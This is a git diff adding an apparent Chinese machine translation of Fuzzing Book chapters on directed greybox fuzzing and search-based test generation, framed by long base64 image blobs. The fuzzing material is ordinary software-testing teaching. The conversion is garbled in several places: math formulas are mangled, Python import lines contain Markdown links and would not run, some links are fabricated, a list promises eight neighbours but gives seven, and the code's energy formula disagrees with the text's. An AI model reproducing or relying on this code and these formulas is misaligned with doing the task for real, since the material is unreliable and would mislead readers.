cfJFUyrEZEankK5VVXv9JN/LiKz/eOzgef89Ha1YRnwdhF5Gs+D9Pl4by79IhLskQrLMiGnf3wG8EIL5NwN7FbVTf7vb+ApmU7rz98Cfqqqe1V1FLgT+A06rz/DZO3Dtt1v/iL2bwPvVn+uqMPknI/3D8XD/j11IvCQiLy2k+Q0pZJOx7mCEREBvgI8pqqfCx3aAATWHVfirbUE6Vf4FiJLgZeCKYkyUdXVqnqiqs7D67fvqeq7gXuBS2LkDOS/xM9f+n+pqvqvwC4ROdVPehPwYzqsP/GmvZaKSJ9/DQRydlR/1pG1DzcCF4jIgP9mdoGfVioiciHwEeDtqrqvTv7LfEu6k4EFwP204bmgqttU9ThVneffU7vxDHb+lU7qzzIXbKbKB8+y4id41h4f6wB5/i3eK+wjwFb/cxHefPl3gSf8vzP9/IIXzOxJYBuwuA0y/yaHrL9OwbsxdwJfB47w04/0f+/0j5/SQvkWAZv9Pl2PZynTcf0JfAJ4HHgU+Ds8q6SO6E/gNry1nlG8B9578/Qh3prGTv/zey2Scyfe2kNwP305lP9jvpw7gLeE0kt9LkTJWXf8aQ4t1LetP+s/tqPeMAzDKAyb/jIMwzAKw5SKYRiGURimVAzDMIzCMKViGIZhFIYpFcMwDKMwTKkYRpOIyMfE8xz8iIhsFZElBZX7SlK6iMwTkRHftcxjInJ/S7zQGkYCXR/50TDaiYich7cL+2xV3e+7Iu9poQhPqudaBhE5BbhTRCqq+tUWymAYE9ibimE0x2zgeVXdD6Cqz6vqHgAROUdEfiAiD4rIxpC7kvki8r/99P8rIqf56SeLyI9E5AER+bOsgqjqU3hhBv6osNYZRkZMqRhGc/wTMEdEfiIifyUi/wEmfLP9JXCJqp4D3Ax80j/nJuCDfvp/Af7KT/8CnlPLNwD/mlOeh4DTcp5rGE1jO+oNo0lEpAr8O+CNwB/geTjeDPwLXlAk8II6PQu8E8/N/o5QEUeo6q+JyC+A16rqqIgcA+xR1aMi6ntFVY/ywx7cpaq/Hjo24J/XW3AzDcMJW1MxjCZR1THg+8D3RWQbnuPEB4HtqnpeOK+vLIZVdVFccU2KcxbwWJNlGEZubPrLMJpARE4VkQWhpEV4YV53ALP8hXxEpCYiZ6gX9+anIrLSTxcRWeif+0M8b7cA784hyzy8IF5/macthlEEplQMozmOAm4RkR+LyCN4Mc3XqOoBPHfznxaRh/E83/6Gf867gff66dvxAm8BfAh4v4g8gBf7xIX5gUkxXqz6vzTLL6Od2JqKYRiGURj2pmIYhmEUhikVwzAMozBMqRiGYRiFYUrFMAzDKAxTKoZhGEZhmFIxDMMwCsOUimEYhlEYplQMwzCMwvj/z5cni4CY1cUAAAAASUVORK5CYII=
+)
+
+让我们标准化y轴并提高小距离种子的重要性。
+
+### 改进的有向功率计划
+
+改进的有向进度计划将最小距离和最大距离之间的种子距离标准化。 同样，如果您真的想知道。 给定种子$ i $与函数$ t $的种子距离$ d（i，t）$，我们改进的功率调度将新的种子距离$ d'（i，t）$计算为$$ d'（i ，t）= \ begin {cases} 1 & \ text {if} d（i，t）= \ text {minD} = \ text {maxD} \\ \ text {maxD}-\ text {minD} & \ text {if} d（i，t）= \ text {minD} \ neq \ text {maxD} \\ \ frac {d（i，t）-\ text {minD}} {\ text {maxD} -\ text {minD}} & \ text {否则} \ end {cases} $$，其中$$ \ text {minD} = \ min_ {i \ in T} [d（i，t）] $$和 $$ \ text {maxD} = \ max_ {i \ in T} [d（i，t）] $$其中$ T $是种子集（即种群）。
+
+```py
+class AFLGoSchedule(DirectedSchedule):
+    def assignEnergy(self, population):
+        """Assigns each seed energy inversely proportional
+ to the average function-level distance to target."""
+        min_dist = 0xFFFF
+        max_dist = 0
+        for seed in population:
+            if not hasattr(seed, 'distance'):
+                num_dist = 0
+                sum_dist = 0
+                for f in self.__getFunctions__(seed.coverage):
+                    if f in list(distance):
+                        sum_dist += distance[f]
+                        num_dist += 1
+                seed.distance = sum_dist / num_dist
+            if seed.distance < min_dist: min_dist = seed.distance
+            if seed.distance > max_dist: max_dist = seed.distance
+
+        for seed in population:
+            if (seed.distance == min_dist):
+                if min_dist == max_dist:
+                    seed.energy = 1
+                else: 
+                    seed.energy = max_dist - min_dist
+            else:
+                seed.energy = ((max_dist - min_dist) / (seed.distance - min_dist)) 
+
+```
+
+让我们看看改进的电源调度表如何执行。
+
+```py
+aflgo_schedule = AFLGoSchedule(distance, 3)
+aflgo_fuzzer  = GreyboxFuzzer([seed_input], maze_mutator, aflgo_schedule)
+
+start = time.time()
+aflgo_fuzzer.runs(FunctionCoverageRunner(maze), trials=n)
+end = time.time()
+
+"It took the fuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the fuzzer 22.91 seconds to generate and execute 10000 inputs.'
+
+```
+
+```py
+print_stats(aflgo_fuzzer)
+
+```
+
+```py
+First solution: &.@9DWDx$SD:qD?R5RX1RRsU0ULLUCU&R~RRRDDFDDDm
+Out of 1987 seeds, 
+*  332 solved the maze, 
+*  192 were valid but did not solve the maze, and 
+* 1463 were invalid
+
+```
+
+与以前的所有电源计划相反，该计划产生了数百种解决方案。 它产生了许多解决方案。
+
+让我们从第一个解决方案中过滤掉所有被忽略的输入字符。 函数`filter(f, seed.data)`返回`seed.data`中元素`e`的列表，其中应用于`e`的函数`f`返回True。
+
+```py
+for seed in aflgo_fuzzer.population:
+    s = maze(str(seed.data))
+    if "SOLVED" in s:
+        filtered = "".join(list(filter(lambda c: c in "UDLR", seed.data)))
+        print(filtered)
+        break
+
+```
+
+```py
+DDDDRRRRUULLUURRRRDDDDD
+
+```
+
+绝对是开头指定的迷宫的解决方案！
+
+***摘要*** 。 在预先计算出到目标的功能级距离后，我们可以制定一个功率调度表，将更多的能量分配给具有到目标的平均功能级距离较小的种子。 通过标准化最小和最大种子距离之间的种子距离值，我们可以进一步提高定向功率调度。
+
+***尝试*** 。 实现和评估使用最小（而不是平均）功能级距离的更简单的定向电源。 使用最小距离的缺点是什么？ 为了执行您的代码，您只需要以Jupyter笔记本打开本章。
+
+***读取*** 。 您可以在同名论文“ [定向灰箱模糊化](https://mboehme.github.io/paper/CCS17.pdf)” [[Böhme*等人*，2017年。](https://mboehme.github.io/paper/CCS17.pdf)中找到有关定向灰箱模糊的更多信息。 在 [http://github.com/aflgo/aflgo](http://github.com/aflgo/aflgo) 上将其实施到AFL中。
+
+## 经验教训
+
+*   *灰盒模糊器*每秒生成数千个输入。 预处理和轻量级仪器
+    *   允许在模糊测试期间维持*的效率，以及*
+    *   仍然提供了足够的信息来控制进度并稍微控制模糊器。
+*   *功率计划表*可以控制/控制模糊器。 例如，
+    *   我们的[增强型灰箱模糊测试器](#Fuzzer-Boosting)在执行“不太可能”路径的种子上花费了更多能量。 希望生成的输入使用的路径更不可能。 这反过来增加了单位时间内探索路径的数量。
+    *   我们的[定向灰箱模糊器](#Directed-Greybox-Fuzzing)在“更接近”目标位置的种子上花费了更多能量。 希望生成的输入甚至更接近目标。
+*   *突变器*定义了模糊器的搜索空间。 [为给定程序定制变量](GreyboxFuzzer.html#A-First-Attempt)可以将搜索空间减少到仅相关输入。 在几章中，我们将学习基于[的字典和基于语法的变量](GreyboxGrammarFuzzer.html)，以增加生成的有效输入的比率。
+
+## 后续步骤
+
+我们的目标仍然是充分涵盖功能，以便我们可以触发尽可能多的错误。 为此，我们专注于两类技术：
+
+1.  尝试覆盖尽可能多的*指定的*功能。 在这里，我们需要输入格式的*规范，*区分各个输入元素，例如（在我们的情况下）数字，运算符，注释和字符串-并尝试覆盖尽可能多的输入元素。 我们将在基于[语法的测试](GrammarFuzzer.html)，尤其是基于[语法的突变](GreyboxGrammarFuzzer.html)中探索这一点。
+
+2.  尝试覆盖尽可能多的*实现的*功能。 当讨论[基于搜索的测试](SearchBasedFuzzer.html)时，将深入探讨通过“变异”系统地“进化”的“种群”的概念。 此外，[符号测试](SymbolicFuzzer.html)介绍了如何通过解决程序路径上的条件来系统地到达程序位置。
+
+这两种技术构成了本书的要旨。 当然，它们也可以相互结合。 和往常一样，我们为所有人提供可运行的代码。 请享用！
+
+我们完成了，所以我们清理一下：
+
+```py
+import [shutil](https://docs.python.org/3/library/shutil.html)
+import [os](https://docs.python.org/3/library/os.html)
+
+```
+
+```py
+if os.path.exists('callgraph.dot'):
+    os.remove('callgraph.dot')
+
+if os.path.exists('callgraph.py'):
+    os.remove('callgraph.py')
+
+```
+
+## 背景
+
+*   **了解有关AFL** 的更多信息： [http://lcamt​​uf.coredump.cx/afl/](http://lcamtuf.coredump.cx/afl/)
+*   **了解LibFuzzer** （另一个著名的灰箱模糊器）： [http://llvm.org/docs/LibFuzzer.html](http://llvm.org/docs/LibFuzzer.html)
+*   **白盒模糊测试仪必须多快地练习每条路径才能保持比灰盒模糊测试仪更高的效率？** MarcelBöhme和Soumya Paul。 2016\. [自动化软件测试效率的概率分析](https://mboehme.github.io/paper/TSE15.pdf)，IEEE TSE，42：345-360 [[Böhme*等人*，2016。](https://doi.org/10.1109/TSE.2015.2487274)]
+
+## 练习
+
+要添加。 \去做{}
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/12.md b/new/fuzzing-book-zh/12.md
new file mode 100644
index 0000000000000000000000000000000000000000..afba03be8bda92bd3b3f359f03fde107017fdc47
--- /dev/null
+++ b/new/fuzzing-book-zh/12.md
@@ -0,0 +1,1824 @@
+# 基于搜索的模糊化
+
+> 原文： [https://www.fuzzingbook.org/html/SearchBasedFuzzer.html](https://www.fuzzingbook.org/html/SearchBasedFuzzer.html)
+
+有时，我们不仅对使尽可能多的多样化程序输入变得模糊感兴趣，而且对获得实现某些目标（例如到达程序中的特定语句）的*特定*测试输入也感兴趣。 当我们对所要查找的内容有想法时，可以*搜索*。 搜索算法是计算机科学的核心，但是应用诸如广度或深度优先搜索之类的经典搜索算法来搜索测试是不现实的，因为这些算法可能要求我们查看所有可能的输入。 但是，可以使用域知识来解决此问题。 例如，如果我们可以估计几个程序输入中的哪个更接近我们正在寻找的输入，则此信息可以指导我们更快地达到目标-此信息称为*启发式*。 *元启发式*搜索算法中捕获了系统地应用启发式方法的方式。 “元”表示这些算法是通用的，可以针对不同的问题进行不同的实例化。 元启发式方法通常从自然界中观察到的过程中获得启发。 例如，有些算法模仿进化过程，群体智能或化学反应。 通常，它们比穷举搜索方法有效得多，因此它们可以应用于广阔的搜索空间-像程序输入域一样大的搜索空间对他们而言并不是问题。
+
+**前提条件**
+
+*   您应该知道代码覆盖率的工作原理，例如 [关于覆盖的[一章）。](Coverage.html)
+
+## 测试生成作为搜索问题
+
+如果要应用元启发式搜索算法来生成程序的测试数据，则必须做出几种选择：首先，我们需要首先确定*搜索空间*到底是什么 。 搜索空间由我们*表示*我们要寻找的内容来定义。 我们在寻找单个整数值吗？ 价值元组？ 对象？ XML文件？
+
+### 将程序输入表示为搜索问题
+
+表示形式高度依赖于我们要解决的特定测试问题---我们知道要测试的程序，因此表示形式需要对目标程序的任何输入进行编码。 让我们考虑示例函数`test_me()`作为我们的测试函数：
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [Fuzzer](Fuzzer.html)
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import unicode_escape, terminal_escape
+
+```
+
+```py
+def test_me(x, y):
+    if x == 2 * (y + 1):
+        return True
+    else:
+        return False
+
+```
+
+`test_me()`函数具有两个输入参数，并根据两者之间的关系返回`True`或`False`。 `test_me()`的测试输入由一对值组成，一个为`x`，一个为`y`。 例如：
+
+```py
+test_me(0, 0)
+
+```
+
+```py
+False
+
+```
+
+```py
+test_me(4, 2)
+
+```
+
+```py
+False
+
+```
+
+```py
+test_me(22, 10)
+
+```
+
+```py
+True
+
+```
+
+我们的搜索空间仅与输入有关，因此测试数据的简单表示形式就是输入元组`(x, y)`。 此输入空间中的每个点都有八个*邻居*：
+
+*   `x-1, y-1`
+*   `x-1, y`
+*   `x-1, y+1`
+*   `x, y+1`
+*   `x+1, y+1`
+*   `x+1, y`
+*   `x, y-1`
+
+为简单起见，让我们限制搜索空间的大小（我们将在以后进行更改）。 例如，假设我们只需要-1000到1000范围内的值：
+
+```py
+MAX = 1000
+MIN = -MAX
+
+```
+
+为了在搜索空间中的任意点检索邻居，我们定义了函数`neighbours()`，该函数实现了基本的摩尔邻居。 也就是说，我们考虑了所有8个直接邻居，同时考虑了我们刚刚用`MAX`和`MIN`定义的边界：
+
+```py
+def neighbours(x, y):
+    return [(x + dx, y + dy) for dx in [-1, 0, 1]
+            for dy in [-1, 0, 1]
+            if (dx != 0 or dy != 0)
+            and ((MIN <= x + dx <= MAX)
+                 and (MIN <= y + dy <= MAX))]
+
+```
+
+```py
+print(neighbours(10, 10))
+
+```
+
+```py
+[(9, 9), (9, 10), (9, 11), (10, 9), (10, 11), (11, 9), (11, 10), (11, 11)]
+
+```
+
+这完全定义了我们的搜索空间：我们有一个表示形式，并且我们知道个人如何通过邻居相互联系。 现在，我们只需要找到一种算法来探索这个社区，就可以找到一种指导算法的启发式方法。
+
+### 定义搜索范围：适应度函数
+
+所有元启发式算法都基于启发式函数的使用，该函数可估算给定候选解决方案的质量。 该“优度”通常称为个人的*适合度*，估计适合度的试探法是*适合度函数*。 适应度函数是将搜索空间中的任何点映射为数值（适应度值）的函数。 就最佳解决方案而言，搜索空间中的候选解决方案越好，其适用性值就越好。 因此，如果在搜索空间中以适合度为高度来绘制每个点，则会得到一个景观，其最佳解表示为最高峰。
+
+适应度函数取决于生成测试数据要达到的目标。 假设我们有兴趣在`test_me()`函数中覆盖if条件的真实分支，即`x == 2 * (y + 1)`。
+
+该函数的给定输入元组到目标分支的距离有多近？ 让我们考虑一下搜索空间中的任意点，例如 `(274, 153)`。 如果条件比较以下值：
+
+```py
+x = 274
+y = 153
+x, 2 * (y + 1)
+
+```
+
+```py
+(274, 308)
+
+```
+
+为了使分支正确，两个值必须相同。 因此，它们之间的差异越大，我们离实现比较结果的真实性就越远；而它们之间的差异越小，我们就可以使比较结果更加真实。 因此，我们可以通过计算`x`和`2 * (y + 1)`之间的差异来量化比较的“假性”。 因此，我们可以将该距离计算为`abs(x - 2 * (y + 1))`：
+
+```py
+def calculate_distance(x, y):
+    return abs(x - 2 * (y + 1))
+
+```
+
+```py
+calculate_distance(274, 153)
+
+```
+
+```py
+34
+
+```
+
+我们可以将此距离值用作适应度函数，因为我们可以很好地衡量我们与最佳解的接近程度。 但是请注意，在这种情况下，“更好”并不意味着“更大”。 距离越小越好。 这不是问题，因为还可以使用任何可以最大化值的算法来使其最小化。
+
+对于整数元组的搜索空间中的每个值，此距离值定义了我们的搜索格局中的海拔。 由于我们的示例搜索空间是二维的，因此搜索范围是三维的，我们可以对其进行绘制以查看其外观：
+
+```py
+from [mpl_toolkits.mplot3d](https://docs.python.org/3/library/mpl_toolkits.mplot3d.html) import Axes3D
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+import [numpy](https://docs.python.org/3/library/numpy.html) as [np](https://docs.python.org/3/library/np.html)
+
+```
+
+```py
+%matplotlib inline
+
+x = np.outer(np.linspace(-10, 10, 30), np.ones(30))
+y = x.copy().T
+z = calculate_distance(x, y)
+
+fig = plt.figure()
+ax = plt.axes(projection='3d')
+
+ax.plot_surface(x, y, z, cmap=plt.cm.jet, rstride=1, cstride=1, linewidth=0);
+
+```
+
+![](data:image/png;base64,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